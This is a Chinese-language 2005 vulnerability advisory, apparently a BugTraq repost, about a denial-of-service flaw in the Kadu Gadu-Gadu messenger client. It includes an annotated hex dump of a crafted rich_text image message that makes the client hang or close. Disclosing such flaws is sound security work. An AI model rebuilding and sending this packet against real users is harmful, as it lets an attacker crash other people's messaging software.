发布日期：2005-11-28
更新日期：2005-11-30

受影响系统：

Kadu Kadu 0.5.0pre
Kadu Kadu 0.4.2

描述：

---

BUGTRAQ  ID: 15620

Kadu是Gadu-Gadu即时消息通讯的开放源码客户端。

Kadu中存在拒绝服务漏洞。攻击者可以通过Gadu-Gadu服务器向特定UIN发送仅有rich_text基本图形信息的消息，导致Kadu停止响应或立即关闭。

<*来源：Michal Gizowski （michal@tux.bz）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=113321209020498&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

0x0040:  XXXX 0a00 0000 2b00 0000 XXXX XXXX 9e05  .G....+.........
        0x0050:  0000 4954 8a43 0800 0000 4141 4141 4141  ..IT.C....AAAAAA
        0x0060:  4100 0210 0001 0004 0000 0009 01cc cccc  A...............
        0x0070:  ccbb bbbb bb                             .....

0x0042-0x0045 Type of packet. In this case 0x0a means incomming message
0x0046-0x0049 Length of the rest
0x004a-0x004d source UIN
0x004e-0x0051 seq. number
0x0052-0x0055 time
0x0056-0x0059 class of message
0x005a-0x0061 text "AAAAAAA\0"
0x0062        init rich_text
0x0063-0x0064 Length of the rest
0x0065-0x0066 position in text
0x0067        font atribute
0x0068-0x006a color in rgb
0x006b-0x006c unknown
0x006d-0x0070 image size
0x0071-0x0074 crc32 of image

建议：

---

厂商补丁：

Kadu
----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.kadu.net/index.php?page=news&lang=en

浏览次数：2942
严重程度：0（网友投票）